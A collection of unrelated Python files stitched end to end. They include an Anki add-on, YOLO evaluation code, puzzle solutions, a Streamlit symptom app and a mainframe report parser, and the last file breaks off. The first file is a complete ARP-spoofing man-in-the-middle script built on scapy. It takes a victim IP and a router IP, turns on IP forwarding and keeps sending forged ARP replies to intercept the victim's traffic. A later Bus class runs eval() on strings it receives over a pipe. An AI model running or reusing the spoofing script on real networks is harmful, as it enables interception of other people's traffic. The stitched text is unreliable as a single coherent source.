import os
import time
import sys
from scapy.all import *

def getinfo():
	print("   Getting IPs   ")
	##interface = str(input("Interface:"))
	victimIP = str(input("Victim IP:"))
	routerIP = str(input("Router IP:"))
	return [victimIP,routerIP]

#fun to turn on the forwarding port until restart
def portforwarding(mode):
	if (mode == True):
		os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
	if (mode == False):
		os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')

#this fun will make everything normal after completing the attack
def reARP(victimIP,routerIP):
	victimMAC = getmacbyip(victimIP)
	routerMAC = getmacbyip(routerIP)

	##send ARP request to router as-if from victim to connect
	send(ARP(op=2,pdst=routerIP,hwdst=routerMAC,psrc=victimIP,hwsrc=victimMAC))

	##send ARP request to victim as-if from router to connect
	send(ARP(op=2,pdst=victimIP,hwdst=victimMAC,psrc=routerIP,hwsrc=routerMAC))
	portforwarding(False)

#saying to each part that i am the other target
#so this fun put us inbetween
def attack(victimIP, victimMAC, routerIP, routerMAC):
	send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC),verbose=False)
	send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC),verbose=False)

#the main-function

info = getinfo()
victimIP = info[0]
victimMAC = getmacbyip(info[0])
routerIP = info[1]
routerMAC = getmacbyip(info[1])
packets_sent = 0
try:
	while True:
		portforwarding(True)
		attack(victimIP, victimMAC, routerIP, routerMAC)
		packets_sent += 2
		print("\r[+] Packets Sent: {}".format(packets_sent), end = "")
		time.sleep(1.5)
except KeyboardInterrupt:
	print("\n[-] Detected Ctrl + C..... Restoring the ARP Tables..... Be Patient")
	reARP(victimIP,routerIP)


from traitlets import Unicode, Integer # Used to declare attributes of our widget
from IPython.core.getipython import get_ipython

from .util.serializer import Serializer
from .util.query import apply_query
from .urth_widget import UrthWidget
from .urth_exception import UrthException
import json

from functools import reduce

class DataFrame(UrthWidget):
    """
    A widget for retrieving the value of a DataFrame in the kernel.
    """
    variable_name = Unicode('', sync=True)
    limit = Integer(100, sync=True)
    query = Unicode('[]', sync=True)

    def __init__(self, value=None, **kwargs):
        self.log.info("Created a new DataFrame widget.")

        self.on_msg(self._handle_state_msg)
        self.shell = get_ipython()
        self.serializer = Serializer()
        super(DataFrame, self).__init__(**kwargs)

    def _variable_name_changed(self, old, new):
        self.log.info("Binding to variable name {}...".format(new))

    def _limit_changed(self, old, new):
        self.log.info("Changed value of limit to {}...".format(new))

    def _query_changed(self, old, new):
        self.log.info("Changed value of query to {}...".format(new))

    def _the_dataframe(self):
        try:
            name = self.variable_name.split('.')
            return reduce(lambda x, y: getattr(x, y), [self.shell.user_ns[name.pop(0)]] + name)
        except (KeyError, AttributeError):
            raise UrthException("Invalid DataFrame name {}".format(
                self.variable_name))

    def _handle_state_msg(self, wid, content, buffers):
        if content.get("event", "") == "sync":
            self._sync_state()

    def _sync_state(self):
        try:
            val = self._the_dataframe()
            serialized_result = self.serializer.serialize(apply_query(val, json.loads(self.query)), limit=self.limit, query=self.query)
            self._send_update("value", serialized_result)
            self.ok()
        except Exception as e:
            self.error(e)


import numpy as np
vals = np.array(list(map(int, open("data/day7.txt").readlines()[0].split(","))))

# Part 1
h,l = max(vals), min(vals)
result = [sum(abs(vals-(np.zeros(len(vals))+i))) for i in range(l,h)]
print(min(result))

# Part 2
result = []
for i in range(l,h):
    result.append(sum([sum(list(range(1,abs(val-i)+1))) for val in vals]))
print(min(result))


from urlparse import urlsplit, urlunsplit
from urllib import urlencode, quote_plus, unquote_plus
import string

def removeFromStackAndRecurse(url):
	url = urlsplit(url)
	netloc = url.netloc
	if "@" in netloc:
		netloc = netloc[netloc.index("@") + 1:]

	netloc_list = netloc.split(" , ") if url.scheme == "stack" else [ netloc ]
	newnetloc_list = list()

	for n in netloc_list:
		netloc_unquoted = unquote_plus(n)
		if netloc_unquoted != n:
			newnetloc_list.append(quote_plus(removeFromStackAndRecurse(netloc_unquoted)))

	netloc = string.join(newnetloc_list, " , ")

	return urlunsplit((url.scheme, netloc, url.path, url.query, url.fragment))


# streamlit_app.py
import streamlit as st
import ModelScript  # File which contain Machine Learning Model

st.title("Symptoms Analyzer")
st.header("How are you feeling?")

# Symptoms dropdown
symptoms_list = ['Fever',
 'Chills',
 'Headache',
 'Joint Pain',
 'Nausea',
 'Vomiting',
 'Cough',
 'Fatigue',
 'Chest Pain',
 'Short Breath',
 'Sweating',
 'Thirst',
 'Hunger',
 'Frequent Urine',
 'Blurred Vision',
 'Yellow Eyes',
 'Itchy Skin',]
symptom1 = st.selectbox("Symptom 1", symptoms_list)
symptom2 = st.selectbox("Symptom 2", symptoms_list)
symptom3 = st.selectbox("Symptom 3", symptoms_list)
symptom4 = st.selectbox("Symptom 4", symptoms_list)
symptom5 = st.selectbox("Symptom 5", symptoms_list)

selected_symptoms = [symptom1, symptom2, symptom3, symptom4, symptom5]

symptoms_array = [1 if symptom in selected_symptoms else 0 for symptom in symptoms_list]

# Sliders for Weight, Age, and Heart Rate
weight = st.slider("Weight (In KG)", 30, 200)  # Weight range from 30 to 200 for example
age = st.slider("Age", 1, 100)  # Age range from 1 to 100
heart_rate = st.slider("Heart Rate", 50, 180)  # Assuming heart rate range from 50 to 180

symptoms_array.extend([weight, age, heart_rate])

symptoms_list_2d = [symptoms_array]

# Predict button
if st.button("Predict"):
    # Here, you should call your model prediction function from script.py
    # For this example, I'm just assuming a dummy function `predict_disease` in your script.py
    result = ModelScript.prediction(symptoms_list_2d)
    st.write(f"You most probably have: {result}")

# Sidebar for image (optional if you want to showcase something)
st.write("\n\n\n")
st.sidebar.image("https://cdn4.iconfinder.com/data/icons/health-1-0/512/0112healthvirus1_DEF.png", use_column_width=True)


#!/usr/bin/python
# -*- coding: utf-8 -*-
#Anki add-on
#Written by Sara Jakša sarajaksa@gmail.com

from aqt import mw
from aqt.qt import *
from aqt.deckbrowser import DeckBrowser
from aqt.deckconf import DeckConf

class ScrollArea(QScrollArea):

    def __init__(self):
        super(ScrollArea, self).__init__()

class ConfigurationWindow(QWidget):

    def __init__(self):
        super(ConfigurationWindow, self).__init__()
        #Things connected to Anki
        self.mw = mw
        self.allDecks = self.mw.col.decks.all()
        self.allConf = self.mw.col.decks.allConf()
        #Things connected to GUI
        self.layout = QGridLayout(self)
        self.grid = []
        self.labels = {}
        self.decksOrder = self.deckLevel()
        self.showContent()
        self.setWindowTitle('New Cards / Max Reviews per Day')
        self.show()

    #Finds all decks and sort them in the right order (only the names)
    def deckLevel(self):
        deckSort = []
        for deck in self.allDecks:
            if deck[u'dyn'] is 0:
                deckSort.append(deck[u'name'])
        deckSort.sort()
        return deckSort

    #Helping function for creating a grid
    def appendGrid(self, j):
        for i in range(5):
            self.grid.append((j,i))

    #Helps with creating the elements in the window
    def showContent(self):
        self.showLabels()
        decks = self.decksOrder
        i = 1
        for deck in decks:
            self.appendGrid(i)
            self.showElements(deck, i)
            i += 1
        self.showSaveButton(i)

    #Show save button
    def showSaveButton(self, i):
        self.appendGrid(i)
        self.labels[(i, 4)] = QPushButton("Save")
        self.layout.addWidget(self.labels[(i,4)], self.grid[i*5+4][0], self.grid[i*5+4][1])
        QObject.connect(self.labels[(i, 4)], SIGNAL("pressed()"), self.saveConfiguration)

    #get configuration from known id
    def getConfigurationFromId(self, id):
        for conf in self.allConf:
            if conf[u'id'] == id:
                return conf

    #Saves the configurations (only new and max cards)
    def saveConfiguration(self):
        decks = self.deckLevel()
        i = 1
        for deck in decks:
            self.deck = self.findDeck(deck)
            self.conf = self.findConfigurationFromDeck(self.deck)
            if not self.onlyDeckConfiguration(self.conf):
                name = self.conf[u'name'] + "_" + str("Copy")
                id = self.mw.col.decks.confId(name, cloneFrom=self.conf)
                self.deck['conf'] = id
                self.allConf = self.mw.col.decks.allConf()
                self.conf = self.getConfigurationFromId(id)
            self.conf['new']['perDay'] = self.labels[(i,1)].value()
            self.conf['rev']['perDay'] = self.labels[(i,3)].value()
            self.mw.col.decks.save(self.deck)
            self.mw.col.decks.save(self.conf)
            i += 1
        self.mw.onRefreshTimer()
        self.close()
        mw.myWidget.close()

    #It checks, if this is the only deck, using this configuration
    def onlyDeckConfiguration(self, conf):
        conf = conf[u'id']
        i = 0
        for deck in self.allDecks:
            if deck[u'dyn'] is 0:
                if deck[u'conf'] == conf:
                    i += 1
            if i > 1:
                return False
        return True

    #Shows elements for every deck
    def showElements(self, deck, i):
        deck = self.findDeck(deck)
        conf = self.findConfigurationFromDeck(deck)
        self.labels[(i, 0)] = QLabel(self.deckNameForShow(deck[u'name']))
        self.layout.addWidget(self.labels[(i, 0)], self.grid[i*5][0], self.grid[i*5][1])
        self.labels[(i, 1)] = QSpinBox()
        self.labels[(i, 1)].setMaximum(500000)
        self.labels[(i, 1)].setValue(conf[u'new'][u'perDay'])
        self.layout.addWidget(self.labels[(i, 1)], self.grid[i*5+1][0], self.grid[i*5+1][1])
        self.labels[(i,2)] = QLabel(self.findParentNew(deck))
        self.layout.addWidget(self.labels[(i, 2)], self.grid[i*5+2][0], self.grid[i*5+2][1])
        self.labels[(i, 3)] = QSpinBox()
        self.labels[(i, 3)].setMaximum(500000)
        self.labels[(i, 3)].setValue(conf[u'rev'][u'perDay'])
        self.layout.addWidget(self.labels[(i, 3)], self.grid[i*5+3][0], self.grid[i*5+3][1])
        self.labels[(i,4)] = QLabel(self.findParentMax(deck))
        self.layout.addWidget(self.labels[(i, 4)], self.grid[i*5+4][0], self.grid[i*5+4][1])

    #Helping function for finding parent's new cards
    def findParentNew(self, deck):
        new = self.findParent(deck)
        if not new:
            return ""
        new = new[0]
        return str(new)

    #Helping function for findinf parent's max cards
    def findParentMax(self, deck):
        rev = self.findParent(deck)
        if not rev:
            return ""
        rev = rev[1]
        return str(rev)

    #Finds the minimal number of new and max cards among all the parents deck
    def findParent(self, deck):
        name = deck[u'name']
        conf = self.findConfigurationFromDeck(deck)
        decks = []
        if "::" in name:
            decks = self.findParentName(name, decks)
        if decks:
            numberNew = []
            numberMax = []
            for deck in decks:
                configuration = self.findConfigurationFromDeck(self.findDeck(deck))
                numberNew.append(configuration[u'new'][u'perDay'])
                numberMax.append(configuration[u'rev'][u'perDay'])
                new = min(numberNew)
                Max = min(numberMax)
            return [new, Max]
        return None

    #Changes int into string
    def intToStr(self, number):
        return str(number)

    #Find every deck, that is a parent to this deck
    def findParentName(self, name, decks):
        if "::" in name:
            name = name.split("::")
            name = name[:-1]
            name = "::".join(name)
            decks = self.findParentName(name, decks)
        decks.append(name)
        return decks

    #Makes a string, that gets show in the window from full deck name
    def deckNameForShow(self, fullName):
        if '::' in fullName:
            nameList = fullName.split('::')
            name = '\r'*2*(len(nameList)-1) + nameList[-1]
            return name
        return fullName

    #Find deck from knowing the name
    def findDeck(self, name):
        for deck in self.allDecks:
            if deck[u'name'] == name:
                return deck

    #Find configuration, if you know the deck
    def findConfigurationFromDeck(self, deck):
        configuration = deck[u'conf']
        for conf in self.allConf:
            if conf[u'id'] == configuration:
                return conf

    #Shows labels up in the window
    def showLabels(self):
        labels = [u"Deck Name", u"New Cards/day", u"Parent's New", u"Reviews/day", u"Parent's Reviews"]
        i = 0
        self.appendGrid(i)
        for label in labels:
            self.labels[(0,i)] = QLabel(labels[i])
            self.layout.addWidget(self.labels[(0, i)], self.grid[i][0], self.grid[i][1])
            i += 1

def confStart():
    mw.myWidget = widget = ScrollArea()
    conf = ConfigurationWindow()
    widget.setWidget(conf)
    widget.show()

action = QAction("New/Max Cards Configuration", mw)
mw.connect(action, SIGNAL("triggered()"), confStart)
mw.form.menuTools.addAction(action)


import os
import torch
import argparse
from tqdm import tqdm

from . import cfg
from .utils.torch_utils import *
from .utils.metrics import BatchMeter
from .data.dataset_yolo import YoloDatset
from .utils.losses import SumSquaredError
from .models.modules.yolo import YoloModel
from .utils.visualization import Vizualization

from torch.utils.data import DataLoader
from torchmetrics.detection.mean_ap import MeanAveragePrecision

from .utils.logger import Logger
logger = Logger.get_logger("EVALUATE")

class VocEval:
    def __init__(self, dataset, model, bz, shuffle, num_workers, pin_men, iou_thresh, conf_thresh):
        super().__init__()
        self.bz = bz
        self.model = model
        self.dataset = dataset
        self.shuffle = shuffle
        self.pin_men = pin_men
        self.num_workers = num_workers
        self.iou_thresh = iou_thresh
        self.conf_thresh = conf_thresh
        self.device = "cuda" if torch.cuda.is_available() else "cpu"

        self.loss_fn = SumSquaredError(apply_IoU=cfg.trainval.apply_iou).to(self.device)
        self.dataloader = DataLoader(
            self.dataset,
            self.bz,
            self.shuffle,
            num_workers=self.num_workers,
            pin_memory=self.pin_men)

    def cal_mAP(self, map_mt, pred_bbox, pred_conf, pred_cls, gt_bbox, gt_conf, gt_cls):
        """https://torchmetrics.readthedocs.io/en/stable/detection/mean_average_precision.html"""
        preds = [{"boxes": pred_bbox, "scores": pred_conf, "labels": pred_cls}]

        target = [{"boxes": gt_bbox, "scores": gt_conf, "labels": gt_cls}]

        map_mt.update(preds, target)

    def evaluate(self):
        metrics = {
            "eval_box_loss": BatchMeter(),
            "eval_conf_loss": BatchMeter(),
            "eval_cls_loss": BatchMeter(),

            "eval_map": BatchMeter(),
            "eval_map_50": BatchMeter(),
            "eval_map_75": BatchMeter(),
        }

        map_mt = MeanAveragePrecision(class_metrics=True)

        self.model.eval()

        for i, (images, labels) in enumerate(tqdm(self.dataloader)):
            with torch.no_grad():
                images = images.to(self.device)
                labels = labels.to(self.device)
                out = self.model(images)
                bz = images.size(0)
                box_loss, conf_loss, cls_loss = self.loss_fn(labels.clone(), out)
                metrics["eval_box_loss"].update(box_loss)
                metrics["eval_conf_loss"].update(conf_loss)
                metrics["eval_cls_loss"].update(cls_loss)

                for j in range(bz):
                    pred_bboxes, pred_conf, pred_cls = Vizualization.reshape_data(out[j].unsqueeze(0))
                    pred_bboxes = pred_bboxes.reshape((-1, 4))
                    pred_cls = pred_cls.reshape(-1)
                    pred_conf = pred_conf.reshape(-1)

                    gt_bboxes, gt_conf, gt_cls = Vizualization.reshape_data(labels[j].unsqueeze(0))
                    gt_bboxes = gt_bboxes[..., 0, :].reshape((-1, 4))
                    gt_cls = gt_cls[..., 0].reshape(-1)
                    gt_conf = gt_conf[..., 0].reshape(-1)

                    mask_obj = gt_conf > 0
                    gt_bboxes = gt_bboxes[mask_obj]
                    gt_conf = gt_conf[mask_obj]
                    gt_cls = gt_cls[mask_obj]

                    pred_bboxes, pred_conf, pred_cls = BoxUtils.nms(
                        pred_bboxes,
                        pred_conf,
                        pred_cls,
                        self.iou_thresh,
                        self.conf_thresh)

                    self.cal_mAP(
                        map_mt,
                        pred_bboxes,
                        pred_conf,
                        pred_cls,
                        gt_bboxes,
                        gt_conf,
                        gt_cls)

        mAP = map_mt.compute()
        metrics["eval_map"].update(mAP["map"])
        metrics["eval_map_50"].update(mAP["map_50"])
        metrics["eval_map_75"].update(mAP["map_75"])

        logger.info(f'box_loss: {metrics["eval_box_loss"].get_value("mean"):.3f}, conf_loss: {metrics["eval_conf_loss"].get_value("mean"):.3f}, cls_loss: {metrics["eval_cls_loss"].get_value("mean"):.3f}')

        logger.info(f'mAP: {metrics["eval_map"].get_value("mean"):.3f}, mAP_50: {metrics["eval_map_50"].get_value("mean"):.3f}, mAP_75: {metrics["eval_map_75"].get_value("mean"):.3f}')

        return metrics

def cli():
    parser = argparse.ArgumentParser()
    parser.add_argument('--weight_type', type=str, default='best.pt',
                        help='weight type: best.pt/last.pt')
    parser.add_argument('--model_type', type=str, default='resnet34',
                        help='Model selection contain: vgg16, vgg16-bn, resnet18, resnet34, resnet50')
    parser.add_argument('--bz_eval', type=int, default=cfg.trainval.bz_valid,
                        help='Batch size valid dataset')
    parser.add_argument('--n_workers', type=int, default=cfg.trainval.n_workers,
                        help='Number of workers')
    parser.add_argument('--conf_thresh', type=float, default=cfg.trainval.conf_thresh,
                        help='Confidence threshold')
    parser.add_argument('--iou_thresh', type=float, default=cfg.trainval.iou_thresh,
                        help='iou threshold')

    args = parser.parse_args()
    return args

if __name__ == "__main__":
    args = cli()
    device = "cuda" if torch.cuda.is_available() else "cpu"
    dataset = YoloDatset(
            cfg.dataset.image_path,
            cfg.dataset.anno_path,
            cfg.dataset.txt_val_path)
    model = YoloModel(
            input_size=cfg.models.image_size[0],
            backbone=args.model_type,
            num_classes=cfg.models.num_classes,
            pretrained=False).to(device)
    ckpt_path = os.path.join(cfg.debugging.ckpt_dirpath, args.model_type, args.weight_type)
    ckpt = torch.load(ckpt_path, map_location=device)
    model.load_state_dict(ckpt["model"])
    eval = VocEval(dataset, model, args.bz_eval, False, args.n_workers, False, args.iou_thresh, args.conf_thresh)
    eval.evaluate()


#Step01 - Split the file entered in two txt temp files

#Line Separator
delimiter = '"SUMMARY OF DATA SETS BY VOLUME REPORT"'
with open(r'C:\Users\VitorAugustoSilighin\Documents\Python\spacemonitor.txt') as spacemonitor:
    linhas = spacemonitor.readlines()

position_line = -1
for i, linha in enumerate(linhas):
    if delimiter in linha:
        position_line = i
        break

if position_line >= 0:
    linhas = linhas[position_line + 1:]
spacemonitor.close()

with open(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitor2.txt', "w") as spacemonitor:
    spacemonitor.writelines(linhas)

#step2 - Remove all lines after the delimiter string
delimiter21 = ('"SUMMARY OF DATA SETS BY VOLUME REPORT"')
with open(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitor.txt', "r+") as spacemonitor:
    for line in iter(spacemonitor.readline, ""):
        if delimiter21 in line:
            spacemonitor.seek(0, 1)
            spacemonitor.truncate()
            break
spacemonitor.close()

#Step 3 - Remove all lines after the delimiter22
delimiter22 = ('TOTAL DASD UTILIZATION BY VOLUME/DEVICE-TYPE REPORT')
with open(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitor2.txt', "r+") as spacemonitor:
    for line in iter(spacemonitor.readline, ""):
        if delimiter22 in line:
            spacemonitor.seek(0, 1)
            spacemonitor.truncate()
            break
spacemonitor.close()

#Step 4 - Remove all unecessary lines from spacemonitor1
linha311 = 'IMS HIGH PERFORMANCE POINTER CHECKER FOR z/OS - SPMN'
linha312 = '5655-U09'
linha313 = 'MEMBER NAME : N/A'
linha314 = 'SUMMARY OF DATA SETS BY VOLUME REPORT'
linha315 = 'DBNAME'
linha316 = '--------'
linha317 = 'TYP'
linha318 = 'DATASET'
linha319 = '/'
linha3110 = 'CYL'
linha3111 = 'TRK'

removed_linhas31 = [linha311, linha312, linha313, linha314, linha315, linha316, linha317, linha318, linha319, linha3110, linha3111]
linhas_sem_string31 = []
with open(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitor.txt', "r") as spacemonitor:
    for linha in spacemonitor:
        if not any(removed in linha for removed in removed_linhas31) and not linha.strip() == '':
            linhas_sem_string31.append(linha)
spacemonitor.close()

with open(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitor.txt', "w") as spacemonitor:
    spacemonitor.writelines(linhas_sem_string31)
spacemonitor.close()

#Step 5 - Remove all commas "," from Spacemonitor1
with open(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitor.txt', "r+") as spacemonitor:
    conteudo = spacemonitor.read()
    conteudosemvirgulas = conteudo.replace(",",'')
    spacemonitor.seek(0)
    spacemonitor.truncate()
    spacemonitor.write(conteudosemvirgulas)

#Step6 - Remove all unecessary lines from Spacemonitor2
linha321 = 'IMS HIGH PERFORMANCE POINTER CHECKER FOR z/OS - SPMN'
linha322 = '5655-U09'
linha323 = 'MEMBER NAME : N/A'
linha324 = 'SUMMARY OF DATA SETS BY VOLUME REPORT'
linha325 = 'TOTAL DASD UTILIZATION BY VOLUME/DEVICE-TYPE REPORT'
linha326 = '--------'
linha327 = 'VOLSER  DBNAME   DDNAME   DSNAME'

removed_linhas32 = [linha321, linha322, linha323, linha324, linha325, linha326, linha327]

linhas_sem_string32 = []
with open(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitor2.txt', "r") as spacemonitor:
    for linha in spacemonitor:
        if not any(removed in linha for removed in removed_linhas32) and not linha.strip() == '':
            linhas_sem_string32.append(linha)
spacemonitor.close()

with open(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitor2.txt', "w") as spacemonitor:
    spacemonitor.writelines(linhas_sem_string32)
spacemonitor.close()

#Step7 - Creates a dataframse for Spacemonitor1 and modifies it as necessary
import pandas as pd
spacemonitor1df = pd.read_csv(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitor.txt', delim_whitespace = True, on_bad_lines='skip',header=None)
spacemonitor1df = spacemonitor1df.drop(spacemonitor1df.columns[0],axis=1)
spacemonitor1df.columns = ['DATASET SIZE','SZ%']
spacemonitor1df.info()

spacemonitor1df.to_csv(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitortemp1.txt',index=False,sep='|')

#Step8 - Creates a dataframe for spacemonitor2 and modifies it as necessary
spacemonitor2df = pd.read_csv(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitor2.txt', delim_whitespace = True, on_bad_lines='skip',header=None)
spacemonitor2df.columns = ['VOLSER','DBNAME','DDNAME','DSNAME','DBORG','ACCM','UNIT','BLKSZ','TYP','PRI','SEC','EXT','ALLOC','%USE']

celulasvazias = spacemonitor2df[spacemonitor2df.iloc[:, -1].isnull()]

for index in celulasvazias.index:
    spacemonitor2df.iloc[index, 1:] = spacemonitor2df.iloc[index, :-1].values
    spacemonitor2df.iloc[index, 0] = None

spacemonitor2df = spacemonitor2df.sort_values(by=['DDNAME'])

spacemonitor2df = spacemonitor2df.drop_duplicates(subset=['DDNAME'])

spacemonitor2df = spacemonitor2df.drop('VOLSER',axis=1)

spacemonitor2df.to_csv(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitortemp2.txt',index=False,sep='|')

#Step8 - Unify both spacemonitor1 and spacemonitor2
#unir os dataframes anteriores e salvar num txt
spacemonitor1df = spacemonitor1df.reset_index(drop=True)
spacemonitor2df = spacemonitor2df.reset_index(drop=True)

spacemonitorfinal = pd.concat([spacemonitor2df,spacemonitor1df],axis=1)

#Step9 - Saves the final file to a txt document.
spacemonitorfinal.to_csv(r'c:\Users\VitorAugustoSilighin\Documents\Python\spacemonitorfinal.txt',index=False,sep='|')


import pygame

class Miaobir():
    def __init__(self, ai_game):
        self.screen = ai_game.screen
        self.screen_rect = ai_game.screen.get_rect()
        self.sb = ai_game.score_board
        self.stats = ai_game.stats
        self.settings = ai_game.settings
        self.image = pygame.image.load('images/miaobi_note.png')
        self.rect = self.image.get_rect()
        # 显示喵币信息的字体设置
        self.text_color = (169, 89, 30)
        self.font = pygame.font.SysFont(None, 48)
        # 准备喵币数图像
        self.prep_miaobi_amount()
        # 位置
        self.rect.top = self.sb.score_rect.bottom + 14
        self.rect.x = self.screen_rect.right - 40

    def show_miaobi_note(self):
        self.screen.blit(self.image, self.rect)

    def prep_miaobi_amount(self):
        amount_str = f"{str(self.stats.amount)} x "
        self.miaobi_amount_image = self.font.render(amount_str, True, self.text_color)
        self.miaobi_amount_rect = self.miaobi_amount_image.get_rect()
        self.miaobi_amount_rect.right = self.rect.right - 40
        self.miaobi_amount_rect.top = self.rect.bottom - 30

    def show_amount(self):
        self.screen.blit(self.miaobi_amount_image, self.miaobi_amount_rect)


# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, val=0, next=None):
#         self.val = val
#         self.next = next
class Solution:
    def reorderList(self, head: Optional[ListNode]) -> None: # 26.92% 17.60%
        arr = []
        while head:
            arr.append(head)
            head = head.next
        start = cur = ListNode()
        while arr:
            cur.next = arr.pop(0)
            cur = cur.next
            if arr:
                cur.next = arr.pop()
                cur = cur.next
        cur.next = None
        return start.next

    def reorderList_best_speed(self, head: Optional[ListNode]) -> None:
        if head is None:
            return
        slow = head
        fast = head
        while fast.next and fast.next.next:
            slow = slow.next
            fast = fast.next.next
        prev, curr = None, slow.next
        while curr:
            nextt = curr.next
            curr.next = prev
            prev = curr
            curr = nextt
        head2 = prev
        slow.next = None
        curr1 = head
        curr2 = head2
        while curr1 and curr2:
            next_curr1 = curr1.next
            next_curr2 = curr2.next
            curr1.next = curr2
            curr2.next = next_curr1
            curr1 = next_curr1
            curr2 = next_curr2

100 - 199/143 - Reorder List/143 - Reorder List.py


"""The Bus centralises all communcation across the components and out into the
external pipes.
Useful for plugin management and state work.
"""
import atexit
import asyncio
import os, time
from multiprocessing import Process, Pipe
from concurrent.futures import CancelledError, ProcessPoolExecutor

from player import translate
from plugin import process_start, DEATH_PILL

bus = None

def autoload():
    global bus
    bus = Bus()

def get_bus():
    return bus

from wlog import color_plog, log as _log
log = color_plog('cyan').announce(__spec__)

class Bus(object):
    config = None
    exit = False

    def __init__(self, config=None):

        # In duplex mode False, a pip may only be one direction
        # RECV, SEND.
        client_to_pipe, to_pipe = Pipe(duplex=False)
        from_pipe, client_from_pipe = Pipe(duplex=False)
        conf = config or self.config
        p = Process(target=process_start, args=(conf, client_to_pipe, client_from_pipe))
        # recv_pipe = child_send_pipe
        # send_pipe = child_recv_pipe
        log(f'-- Bus::init start process. Current PID:{os.getpid()}, Parent PID: {os.getppid()}')
        p.start()
        log('-- Bus::init Wait for child "hello"')
        log("-- Bus::init recv:", from_pipe.recv())
        log('-- Bus::init received ^^. Sending response...')
        to_pipe.send('No eggs.')
        log('-- Bus::init sent reponse.')
        # accepted at translate.Translate::from_transport
        to_pipe.send('action.init_all()')
        self.process = p
        self._send_pipe = to_pipe
        self._recv_pipe = from_pipe

        #atexit.register(self.atexit_close)

    def emit(self, name, *args):
        """Send an event though the bus.
        """
        if self.exit:
            return
        self._send_pipe.send(name)

    def transmit(self, name, event=None, **kw):
        self.emit(translate.to_string(name, event, **kw))

    def pump(self, counter=-1):
        """Step the bus pipe and receive any waiting messages.
        """
        pipe = self._recv_pipe
        msg = None

        # print('>')

        msgs = ()
        while pipe.poll(.1):
            msg = pipe.recv()
            if msg is not None:
                msgs += (msg, )

        # if len(msgs) > 0:
            # print('Bus.pump recv sending back actions:', len(msgs))
        return msgs

    def atexit_close(self):
        print('atexit_close')
        self.exit = True
        #self.close()
        self.process.terminate()

    def close(self):
        print('Bus close')
        self.exit = True
        if self._send_pipe is not None:
            self._send_pipe.send(DEATH_PILL)
            self._send_pipe.close()
            self._recv_pipe.close()

        self._send_pipe = None
        self._recv_pipe = None
        self.process.join()
        print('bus closed')

    def drop_event(self, event, name='dragdrop-drop'):
        """Content given to the interface in the form of 'drag drop'.
        The event is not threadsafe. Convert the event to a thin object
        and dispatch an event.
        """
        #self.emit('dragdrop-drop')
        self.transmit(name, event)

    def mouse(self, name, event):
        #self.emit(name,)
        #self.emit(translate.to_string(name, event))
        self.transmit(name, event)

    def contextmenu_create(self, owner_id):
        """An event for creating the 'right click' menu
        Return None to allow the default men"""
        #self.emit('contextmenu_create')
        self.transmit('contextmenu_create', owner_id=owner_id)
        return None

    def contextmenu_point(self, owner_id, point):
        #self.emit('contextmenu_point')
        self.transmit('contextmenu_point',
            owner_id=owner_id,
            point=point
            )

    def contextmenu(self, name, owner_id, menu=None):
        #self.emit(name,)
        self.transmit(name, owner_id=owner_id)

    def move(self, owner_id, event):
        #self.emit('move', owner_id, )
        self.transmit('move', event, owner_id=owner_id)

    def resize(self, owner_id, event):
        #self.emit('resize', owner_id, )
        self.transmit('resize', event, owner_id=owner_id)

    def quit(self, event):
        self.transmit('quit', event)

#@asyncio.coroutine
async def async_mananger_process(*args):
    # Loop slowly in the background pumping the asyc queue. Upon keyboard error
    # this will error earlier than a silent websocket message queue.
    loop = asyncio.get_event_loop()
    log(f"\n!! - async_mananger_process - PID: {os.getpid()}, Parent: {os.getppid()}")

    with ProcessPoolExecutor() as pool:
        result = await loop.run_in_executor(pool, _async_mananger, *args)
        print('custom process pool', result)

#@asyncio.coroutine#
async def async_mananger(*args):
    # Loop slowly in the background pumping the asyc queue. Upon keyboard error
    # this will error earlier than a silent websocket message queue.
    #loop = asyncio.get_event_loop()
    return await _async_mananger(*args)

#@asyncio.coroutine
async def _async_mananger(app):
    log(f"\n!! - async_mananger Executed - PID: {os.getpid()}, Parent: {os.getppid()}")
    run = 1

    while run:
        # yield from asyncio.sleep(.2)
        await asyncio.sleep(.2)

        if bus.exit:
            print('async_mananger loop bus.exit')
            run = 0
            continue
        # yield from bus_pump()
        actions = await bus_pump()
        # actions = yield from bus_pump()
        for action in actions:
            print('perform', action)
            eval(action)
        # print("- async_mananger Executed", os.getpid(), os.getppid())
    log(f"- xx async_mananger exit - PID: {os.getpid()}, Parent: {os.getppid()}")

#@asyncio.coroutine
async def bus_pump():
    return bus.pump()

autoload()


import os
import torch
import argparse
import numpy as np
from torch import nn
import torch
from gensim.models import word2vec
from torch import nn
import torch.optim as optim
import torch.nn.functional as F
from gensim.models import Word2Vec
from sklearn.model_selection import train_test_split
from torch.utils import data

from tensorflow import keras
from tensorflow.keras.models import Sequential
from tensorflow.keras import optimizers
from tensorflow.keras.layers import Embedding, Dense, Dropout, Activation, Flatten, LSTM, Bidirectional, LeakyReLU, GRU, BatchNormalization
from tensorflow.keras.callbacks import ReduceLROnPlateau, EarlyStopping, ModelCheckpoint, CSVLogger

# preprocess.py
# 這個 block 用來做 data 的預處理
def load_training_data(path):
    if 'training_label' in path:
        with open(path, 'r') as f:
            lines = f.readlines()

            lines = [line.strip('\n').split(' ') for line in lines]
        #print(lines[:5])
        x_train = [line[2:] for line in lines]
        y_train = [line[0] for line in lines]
        return x_train, y_train
    else:
        with open(path, 'r') as f:
            lines = f.readlines()
            x_train = [line.strip('\n').split(' ') for line in lines]
        return x_train

def evaluation(outputs, labels):
    # outputs => probability (float)
    # labels => labels
    outputs[outputs>=0.5] = 1 # 大於等於 0.5 為有惡意
    outputs[outputs<0.5] = 0 # 小於 0.5 為無惡意
